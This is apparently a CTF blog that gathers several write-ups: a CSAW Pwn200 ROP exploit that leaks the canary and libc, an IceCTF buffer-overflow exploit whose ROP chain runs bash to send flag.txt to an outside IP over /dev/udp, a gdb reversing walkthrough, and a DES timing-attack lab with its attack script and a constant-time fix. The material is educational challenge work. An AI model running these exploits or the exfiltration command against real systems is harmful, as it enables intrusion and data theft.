flag: h4ck1t{CrYp70_3xxP3R1m3N75_VV0n7_4LVV4Y5_3ND_VV3ll}

Cheers :D

CSAW CTF Qualification Round 2016: Tutorial Pwn200 Writeup

Hello,

In this task we were given a binary file with NX activated, Canary present and ASLR enabled on the remote server.

Thre first function prints the address of puts function in libc. (-0x500).
The second function prints the canary and a part of a stack address (4 bytes).
With Libc given in addition to all these leaked informationwe can rebuild the process layout in memory and build our payload.

Below is the exploit I wrote to pwn the service, the script process as follows:

+Leak puts() address.
+Calculate system() address.
+Leak Canary value.
+Leak a Stack address.
+Calculate the receive buffer address.
+Place the command to be executed in recieve buffer.
+Place the canary
+ROP to system with  recieve buffer address as argument.
+Put all together
+Emjoy !

The exploit:


from pwn import *
from struct import pack
from struct import unpack
import time


r = remote("pwn.chal.csaw.io", 8002)

r.recvuntil(">")
r.send("1\n")

r.recv()
puts =  int(r.recv()[:14],16) + 1280

print "[+] @puts : %x"%puts
r.send("2\n")

print r.recvuntil(">")

r.send("A"*310+"\n")
stack = r.recv()
print stack.encode("hex")
canary = stack[312:312+8]

print "[+] canary = "+canary.encode("hex")

print r.recvuntil(">")
r.send("2\n")

print r.recv()
print r.recv()


stackadd = 0x7ffc00000000 | unpack("I",stack[-4:])[0]

print "[+] stack add %x" %stackadd

#calc system address
libc = ELF('libc-2.19.so')
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
puts_libc =  libc.symbols['puts']
print "[+] @puts in libc : %x"%puts_libc
deltasystem = libc.symbols['system'] - puts_libc
#deltasystem = -170752
print "[+] delta system: "+ str(deltasystem)

system = pack("<Q", puts + deltasystem)

print "[+] @system: %x"%(puts + deltasystem)

recvbuf = stackadd - 368
print "[+] recvbuf: %x"%recvbuf

junk = pack("<Q", 0xdeadbeef)
pop_rdi = 0x4012e3
#pop_rdi = 0xdeadbeef

cmdadd = pack("<Q",recvbuf + 64)

#all together
cmd = "D"*64
cmd +="cat flag.txt 1>&4 2>&4"+   "\x00"
payload = cmd+"C"*(312-len(cmd))+canary+"A"*8+pack("<Q",pop_rdi)+cmdadd+system+junk+"\n"
r.send(payload)
print r.recv()
print r.recv()
#r.interactive()

IceCTF 2016 - Slicker Server pwn300 writeup


Well, my team SpectriX finished 4th in this CTF. We missed only one Stego task. The CTF was great and a lot of original tasks were proposed.  I decided to make a writeup for Slickerserver task in pwn category since it was the hardest one and worthed 300 points.

In this task we were given a binary file named asmttpd (referring to https://github.com/nemasu/asmttpd) which is a HTTP server for Linux written in amd64 assembly.
The source code was modified to add a kind of backdoor which leaves a buffer overlow vulnerability. To exploit the vulnerability you have to satisfiy certain condition in a a hmac function to take control over the program.

Let's start analyzing the binary.

When you import the binary into IDApro, you can easily figure out that the program uses system calls instead of libraries in order to do networking, threading and file system operation stuff.

The program sets up the webroot directory specified as argument then it starts listening for incoming connections in port 6601. For each accepted client a worker_thread is created. 

.text:0000000000401172 worker_thread:
.text:0000000000401172                 mov     rbp, rsp
.text:0000000000401175                 sub     rsp, 20h
.text:0000000000401179                 mov     qword ptr [rbp-10h], 0
.text:0000000000401181                 mov     qword ptr [rbp-20h], 0
.text:0000000000401189                 mov     rdi, 5E8h; allocated
.text:0000000000401190                 sub     rsp, rdi
.text:0000000000401193                 mov     [rbp-10h], rsp
.text:0000000000401197
.text:0000000000401197 worker_thread_start:
.text:0000000000401197                 call    sys_accept
.text:000000000040119C                 mov     [rbp-8], rax
.text:00000000004011A0                 mov     rdi, rax
.text:00000000004011A3                 call    sys_cork
.text:00000000004011A8
.text:00000000004011A8 worker_thread_continue:
.text:00000000004011A8                 mov     rdi, [rbp-8]
.text:00000000004011AC                 mov     rsi, [rbp-10h]
.text:00000000004011B0                 mov     rdx, 5F0h; accepted
.text:00000000004011B7                 call    sys_recv
.text:00000000004011BC                 cmp     rax, 0
.text:00000000004011C0                 jle     worker_thread_close
.text:00000000004011C6                 push    rax
.text:00000000004011C7                 mov     r13, [rbp-20h] ;check overflow
.text:00000000004011CB                 test    r13, r13
.text:00000000004011CE                 jz      short worker_thread_continue_nohook
.text:00000000004011D0                 mov     rdi, [rbp-10h]
.text:00000000004011D4                 call    hmac ; overflow detected
.text:00000000004011D9                 mov     r15, 0FFFFFFFFDEADDEADh
.text:00000000004011E3                 jmp     rax



The worker allocates 1512 bytes in stack but it accepts up to 1520 bytes. A stack-based buffer overflow can be triggered and exploited here.

when the overflow occurs, it is detected by the program at 0x4011C7,0x4011CB and hmac function is called accordingly 0x4011D4.

Given an input (1512 bytes length), the function computes a hash value that serves as the address to jump to later. 0x4011E3

So if you want to take control over the program and let it jump to a specific address you have to provide the correct input to hmac function to get the address.

The next step is to reverse engineer the hmac function.

This is the implementation of hmac function that I wrote in python.

import struct

def reg(r):
    return r & 0xffffffffffffffff

def murmur1(rdx, p, rsi):
        CONST = 0x0A165C8277
        rcx = reg(reg(rsi)* CONST) ^ reg(rdx)
        if rsi > 7 :
                for i in range(rsi/8):
                        rax = reg (reg(reg(rcx + p[i])) * CONST)      
                        rcx = (rax >> 0x10) ^ rax
         
        rdx = reg(((reg(reg(rcx) *  CONST) >> 0xa) ^ reg(reg(rcx) *  CONST)) *  CONST)
        rax = (rdx >> 0x11) ^ rdx

        return rax
        
def hmac(rdi):
        rax = 0
        rbx = 0
        for rax in range(0,1512,8):
                rbx ^= struct.unpack("Q", rdi[rax:rax+8])[0]

        v5 = rbx ^ 0x5C5C5C5C5C5C5C5C
        p = []
        p.append(v5)
        p.append(struct.unpack("Q",rdi[1496:1496+8])[0])
        p.append(struct.unpack("Q",rdi[1504:1504+8])[0])
        
        rbp30 = murmur1(0xDEFACEDBAADF00D, p, 24)
        v5 = rbx ^ 0x3636363636363636
        p = []
        p.append(v5)
        p.append(rbp30)
        p.append(struct.unpack("Q",rdi[1504:1504+8])[0])  
        result = murmur1(0x0FACEB00CCAFEBABE, p, 16)
        assert result == 0x400e97
        return result



The result depends mainly on 3 parameters. The result of xoring the input (8 bytes / block), 8 bytes starting from 1496 and last 8 bytes. I named these parameters xor, p1, p2 respectively.

To find a wanted input I used z3 theorem prover. To make solving easier, I tried to make xoring the input gives 0 and p2 = 0. Now I need to find the values of xor and p1 which give me the desired return address.

I fixed the desired return address as 0x400e97 which is the address of the first gadget of my rop chain.

Following is the code of my solver:

from z3 import *
import struct

def reg(r):
    return r & 0xffffffffffffffff

def murmur1(rdx, p, rsi):
        CONST = 0x0A165C8277
        rcx = reg(rsi * CONST) ^ rdx
        if rsi > 7 :
                for i in range(rsi/8):
                        rax = reg((rcx + p[i]) * CONST)      
                        rcx = LShR(rax, 0x10) ^ rax
      
        rdx = reg(((  LShR(reg(rcx * CONST), 0xa)) ^ reg(rcx *  CONST)) *  CONST)
        rax = LShR(rdx, 0x11) ^ rdx

        return rax

def hmac(rbx, p1, p2):
        v5 = rbx ^ 0x5C5C5C5C5C5C5C5C  
        p = []
        p.append(v5)
        p.append(p1)
        p.append(p2)
        it1 = murmur1(0xDEFACEDBAADF00D, p, 24)
  
        v5 = rbx ^ 0x3636363636363636  
        p = []
        p.append(v5)
        p.append(it1)
        p.append(p2)
  
        it2 = murmur1(0x0FACEB00CCAFEBABE, p, 16)
        return it2

if __name__ == "__main__":
    payload = "A"*1488+struct.pack("<Q",0x0)*3
    payloadxor = 0
    for i in range(0,1512,8):
                payloadxor ^= struct.unpack("Q", payload[i:i+8])[0]    
    xor = BitVec("xor", 64)
    p1 = BitVec("p1", 64)  
    p2 = BitVec("p2", 64)  
    s = Solver()
    s.add(hmac(xor,p1,0) == 0x400e97)
    status = s.check()
    print s.model()



Here I spent long time waiting for the result and trying to simplify the equation of the solver. But finally I noticed that Z3py's right-shift BitVec operator appears to do arithmetic shifts! This took a LONG time to track down and then I fixed it by replacing it with LShR (Logical Shift Right).

Few minutes after running the solver scipt I got a result.

[
xor = 8084123859080867570
p1 = 6243103394520245037
]

This means that xoring my input must give 8084123859080867570 and long value at position 1496 must be equal to 6243103394520245037.

My payload format is the following:

payload = (ropchain+ "\x00" * (736 - len(ropchain)))*2 + pack("<Q",xor) + pack("<Q",xor ^ p1) + pack("<Q",xor) + pack("<Q",p1) + pack("<Q",p2)


Now it is time to construct a ROP chain which execute execve syscall. Note here that ASLR is disabled on server.

While building the ropchain you must take into consideration that there is another check to bypass. This check is done before triggering the syscall.

.text:00000000004011D9                 mov     r15, 0FFFFFFFFDEADDEADh
...
.text:0000000000400ED3 popitlikeitshot:
.text:0000000000400ED3               
.text:0000000000400ED3                 int     3
.text:0000000000400ED4                 nop


My ropchain opens a shell in remote server. I tried to play with file descriptor to redirect the stdin and stdout to the active connection but finally I decided to make it execute /bin/bash with any command passed as argument. This was practical since netcat was disabled in addition to other networking features.
Assuming that the flag is in the same folder as the binary.
The command to execute to get the flag is;

bash -c "cat flag.txt > /dev/udp/164.132.103.207/53"

The ROP chain should perform:

execve("/bin/bash",["/bin/bash", "-c", "cat flag.txt > /dev/udp/164.132.103.207/53"], NULL);

The final exploit is:

from struct import pack

#from solver
xor = 8084123859080867570
p1 = 6243103394520245037
p2 = 0

recvbuf = 0x7FFFF7FDE9F8
#recvbuf = 0x7ffff7ff69f8

stackadd = recvbuf + 96

cmd = "/bin/bash"

argv1 = "-c"
argv2 = "cat flag.txt > /dev/udp/164.132.103.207/53" ; /dev/tcp and netcat are filtred
argv3 = ""

stack  =  cmd  + "\x00" * (16 - len(cmd))
stack += argv1 + "\x00" * (16 - len(argv1))
stack += argv2 + "\x00" * (64 - len(argv2))
stack += argv3 + "\x00" * (16 - len(argv3))
#argv
stack+=pack("<Q", stackadd)
stack+=pack("<Q", stackadd+16)
stack+=pack("<Q", stackadd+32)
stack+=pack("<Q", stackadd+96)
stack+=pack("<Q", stackadd+112)

envp = 0
argv = stackadd+112
stackadd

ropchain=""

ropchain+=pack("<Q",0x400e3c); mov r15, rsi
ropchain+=pack("<Q",0x400e97); pop rcx; mov rax, r14; ret;
ropchain+= pack("<Q",0xFFFFFFFFFFBFEEC9) ; overflow r14 
ropchain+=pack("<Q",0x400e93) ;add r14, rcx; pop rdi; pop rcx; mov rax, r14; ret;
ropchain+=pack("<Q",0x0);
ropchain+= pack("<Q",0x0); 
ropchain+=pack("<Q",0x40011a); pop rdx; pop rsi; pop rdi; ret;
ropchain+=pack("<Q",envp)
ropchain+=pack("<Q",argv)
ropchain+=pack("<Q",stackadd)
ropchain+=pack("<Q", 0x4009b3); syscall
ropchain+=pack("<Q",0xbeef)
ropchain += stack
payload = (ropchain + "\x00" * (736 - len(ropchain)))*2
payload += pack("<Q",xor)
payload += pack("<Q",xor ^ p1)
payload += pack("<Q",xor)
payload += pack("<Q",p1)
payload += pack("<Q",p2)

print payload



Finally I run the exploit and the flag is received in my server.

root@maro-vm:~# nc -lu 53
root@maro-vm:~# python exploit.py | nc slick.vuln.icec.tf 6601
IceCTF{m4ster1ng_the_4rt_of_f1x3d_p0ints}


The task can be solved in many other ways. Such overriding the web_root value, reading a file from the server and returning back the content over the active client connection.

That's all
Thanks for reading

ABCTF Frozen Recursion - Reverse Engineering 250 Writeup

Well, I played few hours in this 7 days long CTF and I managed to solve some tasks and collect 2020 points :D Following is quick and dirty writeup for "Frozen Recursion" task. The idea of the task was embedding one binary file in another. When you run recursive_python it dumps a new binary file, changes its access permissions, execute it,and finally remove it. The dumped binary do the same steps and so on until having a binary which just prints "You wish it was that easy!" on the screen.  My idea to solve the task was simple. It consist of breaking on chmod function (before deletion)  at each step and analyze the dumped binary and figuring out if it contains the flag.

# gdb recursive_python
gdb-peda$ break chmod
gdb-peda$ r
gdb-peda$ shell
#chmod +x unstep_84fc2d39
#gdb unstep_84fc2d39
gdb-peda$ b chmod
gdb-peda$ r
gdb-peda$ shell
# chmod +x unstep_34a4d33b
# gdb unstep_34a4d33b
gdb-peda$ break chmod
gdb-peda$ r
gdb-peda$ shell
#chmod +x unstep_579c82e9
#gdb unstep_579c82e9
gdb-peda$ break chmod
gdb-peda$ r
gdb-peda$ shell
# chmod +x unstep_f67baaeb
# gdb unstep_f67baaeb
gdb-peda$ start
gdb-peda$ find flag
unstep_f67baaeb : 0x8693c3 ("flag{python_taken_2_far}s\032")



The flag is flag{python_taken_2_far}

The task can be solved statically also by just looking at all base64 strings and decode them (huge file binary ?)

Cheers ;)

Backdoor CTF 2016 Writeups

Hello,

This is a quick and dirty writeup for Backdoor CTF 2016 tasks.

I played with my colleague Chaker within our team SpectriX which finished #13 in this CTF.

Parts of this writeup are shared between us.
 

Timing attack against a DES software implementation


Hello,

In this draft post I will try to explain how you can exploit a flaw in a DES software implementation which computation time depends on the input messages and on the secret key.

The content of this post is a part of  my hardware security lab work.

let's start,

The most basic attack technique against ciphers is brute force (trying all possible keys). The complexity and the feasibility of this method are determined by the key length.

Data Encryption Standard (DES) is a symmetric-key algorithm(the same key is used for encryption/decryption). More details here:
https://en.wikipedia.org/wiki/Data_Encryption_Standard

Many research results demonstrate that the algorithm has theoretical weaknesses. It is considered as insecure due to the key size which is 56 bits. To break it an attacker can try 2^56 possible keys until he finds the correct decryption key ($200 machine with minimal computing power takes only few days to find the key).

DES implementation in applications may present flaws also. There are other approaches which exploit these flaws to find the key with less complexity. One known method is Timing Attack which is widely used in cryptanalysis.

I will show you through a typical example how can I extract the final round key used to encrypt data by exploiting DES implementation weakness. Before that I will try first to explain timing attack with a simple algorithm.

Assume that the following pseudo-code is a part of an encryption algorithm implementation:

s = p xor k;
foreach bit b in s
{
 if(b == 1)
   calculation();
}
endforeach;

A variable s stores the result of an xor operation between an input p and a key k. The size of p and k is 4 bits. Then I extract each bit from s and test if it is equal to 1. If so, a calculation routine is executed. Assume that the calculation function takes 1 ms.

Now an attacker wants to find the key k used during the operation. The attacker knows the implementation so he knows that the execution time depends on the number of bits equal to 1 in s. He build a measurement table containing the execution time for each input p.

p
exectime
0001
2 ms
0010
4 ms
...
...
1111
2 ms

For a random key k and input p the attacker can predict how much time the execution would take. He can find the key which corresponds to the real measurement by trying all possible values.

So who can the attacker find the key ?
1- First he generates a random key in (0..15)
2- Then he compute s = p xor k for all possible p values
3- He computes the numbers of bits for each s
4- Finally for each key guess compare the predicted numbers of bits with the measured time of the execution with unknown key

p
k=0000
k=0001
k=...
k=1101
exectime
0001
1
1
...
2
2 ms
0010
1
2
4
4 ms
1111
1
2
2
2 ms

To automate the comparison in step 4 statistical tools are used such as Pearson Correlation Coefficient which is a measure of the linear correlation between 2 variables x and y.
More details here:
https://en.wikipedia.org/wiki/Pearson_product-moment_correlation_coefficient

if x and y have a relationship (y = ax + b) then the coefficient = 1. (a and b are constants).

In practice the measurements may not be perfect because the execution might perform additional time variant information.

But according to Law of large numbers (LLN) the average of the results obtained from a large number of trials should be close to the expected value, and will tend to become closer as more trials are performed.
More details about LLN:

https://en.wikipedia.org/wiki/Law_of_large_numbers

So the attacker should perform a lot of executions for the same input p and average them all to tend towards a constant value.

I hope that this example is clear.

Now I will explain again timing attack but now with DES software implementation.
The P permutation routine is implemented as follow:


uint64_t des_p_ta(uint64_t val) {
  uint64_t res;
  int i, j, k;

  res = UINT64_C(0);
  k = 0;
  for(i = 1; i <= 32; i++) {
    if(get_bit(i, val) == 1) {
      for(j = 1; j <= 32; j++) {
        if(p_table[j - 1] == i) { 
          k = j;
        }
      }
      res = set_bit(k, res);
    }
  }
  return res;
}




In the above code, lines from 9 to 14 are executed only if the current bit of val is equal to 1 (line 8).
This is similar to the first example I provided.
Since I have control over the algorithm implementation I can perform a lot of acquisitions and store them in a file. An acquisition is a cipher text with corresponding execution time.
Following is the keys used during acquisitions:


56-bits key (without parity bits): 0xfff92ee3dafbf5
48-bits round key 1 - 6-bits subkeys: 0x3ff3d5afbc7d - 0x0f 0x3f 0x0f 0x15 0x2b 0x3b 0x31 0x3d
48-bits round key 2 - 6-bits subkeys: 0xff7d5dfb56bb - 0x3f 0x37 0x35 0x1d 0x3e 0x35 0x1a 0x3b
48-bits round key 3 - 6-bits subkeys: 0x4fefd9df7b2b - 0x13 0x3e 0x3f 0x19 0x37 0x37 0x2c 0x2b
48-bits round key 4 - 6-bits subkeys: 0x5ffdbfb67b7c - 0x17 0x3f 0x36 0x3f 0x2d 0x27 0x2d 0x3c
48-bits round key 5 - 6-bits subkeys: 0xffadcbf1bbf6 - 0x3f 0x3a 0x37 0x0b 0x3c 0x1b 0x2f 0x36
48-bits round key 6 - 6-bits subkeys: 0x7beeaff5aebb - 0x1e 0x3e 0x3a 0x2f 0x3d 0x1a 0x3a 0x3b
48-bits round key 7 - 6-bits subkeys: 0xf9bd9e7f3e5f - 0x3e 0x1b 0x36 0x1e 0x1f 0x33 0x39 0x1f
48-bits round key 8 - 6-bits subkeys: 0x74aeff3ff1fe - 0x1d 0x0a 0x3b 0x3f 0x0f 0x3f 0x07 0x3e
48-bits round key 9 - 6-bits subkeys: 0xf8fff4de6faf - 0x3e 0x0f 0x3f 0x34 0x37 0x26 0x3e 0x2f
48-bits round key 10 - 6-bits subkeys: 0xd4ff6f7e7bd9 - 0x35 0x0f 0x3d 0x2f 0x1f 0x27 0x2f 0x19
48-bits round key 11 - 6-bits subkeys: 0xe3f777f3f17b - 0x38 0x3f 0x1d 0x37 0x3c 0x3f 0x05 0x3b
48-bits round key 12 - 6-bits subkeys: 0xeddfe7e7bf2a - 0x3b 0x1d 0x3f 0x27 0x39 0x3b 0x3c 0x2a
48-bits round key 13 - 6-bits subkeys: 0xf3f3fbfc3f7e - 0x3c 0x3f 0x0f 0x3b 0x3f 0x03 0x3d 0x3e
48-bits round key 14 - 6-bits subkeys: 0xbdd7f37ddafe - 0x2f 0x1d 0x1f 0x33 0x1f 0x1d 0x2b 0x3e
48-bits round key 15 - 6-bits subkeys: 0xf75bdf55fcfb - 0x3d 0x35 0x2f 0x1f 0x15 0x1f 0x33 0x3b
48-bits round key 16 - 6-bits subkeys: 0x2e7ffbf8ff9d - 0x0b 0x27 0x3f 0x3b 0x3e 0x0f 0x3e 0x1d

The final round key is 0x2e7ffbf8ff9d
Following is a part of the acquisition file:

0x67b29699175cb7f7 178161.600000
0xe267bca35d392fe7 170923.600000
0xba0e8cd2e5fbfd33 177774.000000
0x9ab8a48cb67aec3b 149678.800000

The following figure illustrates the attack path(in red) performed in a DES round:





R is the right half of the cipher text. R is expanded by E function then xored with the subkey(unknown). Then for each 6 bits of E(R) I get 4bits from the Sbox.

I know the cipher text so I know R. E and P are also known. As I mentioned the execution time depends on the number of input bits of the P function.

Assume that INP is the input of P function.

INP = sbox[subkey xor E(R)]

The sboxes are independent so for each 4 bits I have:

INP1_4 = sbox1[subkey1_6 xor E(R)1_6]
INP5_9 = sbox2[subkey7_13 xor E(R)7_13]
..
..

The attack is performed in each 4 bits separately. For the first 4 bits:
The time model is the number of bits = 1 in INP1_4
HW(INP1_4) is the hamming weight of INP1_4 which is the time model.
The final expression is the following:



HW(INP1_4) = HW(sbox1[subkey1_6 xor E(R)1_6])


This expression is computed for each subkey1_6 (the first 6 bits of the unknown subkey) and all the acquisitions I have. This gives 64 time models for each subkey value. These models are correlated with the real measurements (using PCC). As a result only the correlation for one subkey is the largest value between the other 63 models. See the figure below.


Like this I get the first 6 bits of the unknown subkey and to get the subkey I compute time models for all remaining sbox outputs.

Following in an output generated by my timing attack script:
root@maro-vm:~/eurecom/hwsec/lab# python ta.py ../../../acquisition/ta.dat 7000

Average timing: 134301.748360

Last round key (hex):

0x2E7FFBF8FF9D

As you can see I got the correct final round key :D

Here is my exploit:



import sys
import argparse
import des
import km
import pcc
import re

def main ():
    if not des.check ():
        sys.exit ("DES functional test failed")
    argparser = argparse.ArgumentParser(description="Apply P. Kocher's TA algorithm")
    argparser.add_argument("datafile", metavar='file',
                        help='name of the data file (generated with ta_acquisition)')
    argparser.add_argument("n", metavar='n', type=int,
                        help='number of experiments to use')
    args = argparser.parse_args()

    if args.n < 1:
        sys.exit ("Invalid number of experiments: %d (shall be greater than 1)" % args.n)
  
    read_datafile (args.datafile, args.n)

    rk = bk = 0x000000000000
    dl = 0
    dla = []

    for sbox in reversed(xrange(8)):
 mask = 0x3f << (0x2a - 6*sbox)
 rk &= ~mask
 for i in range(64):
  key =  i << (42 - 6*sbox)  
                ctx = pcc.pccContext (1)
                for j in range(args.n):
                        #Undoes the final permutation on cipher text of n-th experiment.
                        r16l16 = des.ip (ct[j])
                        #Extract right half (strange naming as in the DES standard).
                        l16 = des.right_half (r16l16)
                        #Compute output of SBoxes during last round of first experiment, assuming the last round key is all zeros.
                        sbo = des.sboxes (des.e (l16) ^ (rk | key))
                        #Compute Hamming weight of output SBox
                        hw = hamming_weight (sbo)
                        ctx.insert_x(t[j])
                        ctx.insert_y(0, hw)
                ctx.consolidate ()
                dli = ctx.get_pcc(0)
  dla.append(dli)
  if dli > dl:
   dl = dli
   bk = key
 dl = 0
 rk |= bk 
 
 dla.sort(reverse=True)

    print >> sys.stderr, "Average timing: %f" % (sum (t) / args.n)

    print >> sys.stderr, "Last round key (hex):"
    print >> sys.stderr, "0x%012X" % rk
    print "0x%012X" % rk
 
    #with open('ta.key', 'r') as key_file:
    # keys = key_file.read()

    #if int(re.findall(re.compile('0[xX][0-9a-fA-F]{12}[ ]'), keys)[15], 16) == rk:
    # print "0x%012x" % rk

  
# Open datafile <name> and store its content in global variables
# <ct> and <t>.
def read_datafile (name, n):
    global ct, t

    if not isinstance (n, int) or n < 0:
        raise ValueError('Invalid maximum number of traces: ' + str(n))

    try:
        f = open (str(name), 'rb')
    except IOError:
        raise ValueError("cannot open file " + name)
    else:
        try:
            ct = []
            t = []
            for _ in xrange (n):
                a, b = f.readline ().split ()
                ct.append (int(a, 16))
                t.append (float(b))
        except (EnvironmentError, ValueError):
            raise ValueError("cannot read cipher text and/or timing measurement")
        finally:
            f.close ()

def hamming_weight (v):
    v = v - ((v>>1) & 0x5555555555555555)
    v = (v & 0x3333333333333333) + ((v>>2) & 0x3333333333333333)
    return (((v + (v>>4) & 0xF0F0F0F0F0F0F0F) * 0x101010101010101) >> 56) & 0xFF

if __name__ == "__main__":
    main ()



Attack Advancement
My attack script successfully retrieved the final round key using 3700 guesses. There are advancements that can decrease the number of required acquisition. One can think about making a time model for 2 S-Boxes output.



Fixing the vulnerable implemntation
To fix the implementation weakness I propose the following implementation for the permutation function.


uint64_t des_p_ta(uint64_t arg) {
    uint64_t res = 0;
    int i, val, pos;
    for (i = 1; i <= 32; i++) {
        pos = p_table[i-1];
        val = get_bit(pos, arg);
        res = force_bit(i, val, res);
    }
    return res;
}



In the above implementation I removed conditional jumps to make the execution time constant. After compiling the DES sources with this fix I was unable to find the last round key for 10000 acquisitions. Following is the disassembly of the des_p_ta() function:



Disassembly of section .text:
0000000000000000 <des_p_ta>:
   0:   53                      push   %rbx
   1:   41 b8 00 00 00 00       mov    $0x0,%r8d
   7:   ba 1f 00 00 00          mov    $0x1f,%edx
   c:   31 c0                   xor    %eax,%eax
   e:   bb 20 00 00 00          mov    $0x20,%ebx
  13:   41 bb 01 00 00 00       mov    $0x1,%r11d
  19:   0f 1f 80 00 00 00 00    nopl   0x0(%rax)
  20:   89 d9                   mov    %ebx,%ecx
  22:   41 2b 08                sub    (%r8),%ecx
  25:   49 89 fa                mov    %rdi,%r10
  28:   4d 89 d9                mov    %r11,%r9
  2b:   49 83 c0 04             add    $0x4,%r8
  2f:   49 d3 ea                shr    %cl,%r10
  32:   89 d1                   mov    %edx,%ecx
  34:   83 ea 01                sub    $0x1,%edx
  37:   49 d3 e1                shl    %cl,%r9
  3a:   4c 89 ce                mov    %r9,%rsi
  3d:   48 f7 d6                not    %rsi
  40:   48 21 c6                and    %rax,%rsi
  43:   4c 89 d0                mov    %r10,%rax
  46:   83 e0 01                and    $0x1,%eax
  49:   48 d3 e0                shl    %cl,%rax
  4c:   4c 21 c8                and    %r9,%rax
  4f:   48 09 f0                or     %rsi,%rax
  52:   83 fa ff                cmp    $0xffffffff,%edx
  55:   75 c9                   jne    20 <des_p_ta+0x20>
  57:   5b                      pop    %rbx
  58:   c3                      retq
  59:   0f 1f 80 00 00 00 00    nopl   0x0(%rax)

0000000000000060 <get_bit>:
  60:   b9 20 00 00 00          mov    $0x20,%ecx
  65:   29 f9                   sub    %edi,%ecx
  67:   48 d3 ee                shr    %cl,%rsi
  6a:   83 e6 01                and    $0x1,%esi
  6d:   89 f0                   mov    %esi,%eax
  6f:   c3                      retq

0000000000000070 <force_bit>:
  70:   b9 20 00 00 00          mov    $0x20,%ecx
  75:   48 63 c6                movslq %esi,%rax
  78:   29 f9                   sub    %edi,%ecx
  7a:   bf 01 00 00 00          mov    $0x1,%edi
  7f:   48 d3 e7                shl    %cl,%rdi
  82:   48 d3 e0                shl    %cl,%rax
  85:   48 21 f8                and    %rdi,%rax
  88:   48 f7 d7                not    %rdi
  8b:   48 21 d7                and    %rdx,%rdi
  8e:   48 09 f8                or     %rdi,%rax
  91:   c3                      retq



As the disassembly shows there are no conditional jumps except the end of loop jump. I conclude that the implementation is safe now.


That's all :) I hope you found this explanation obvious and useful :)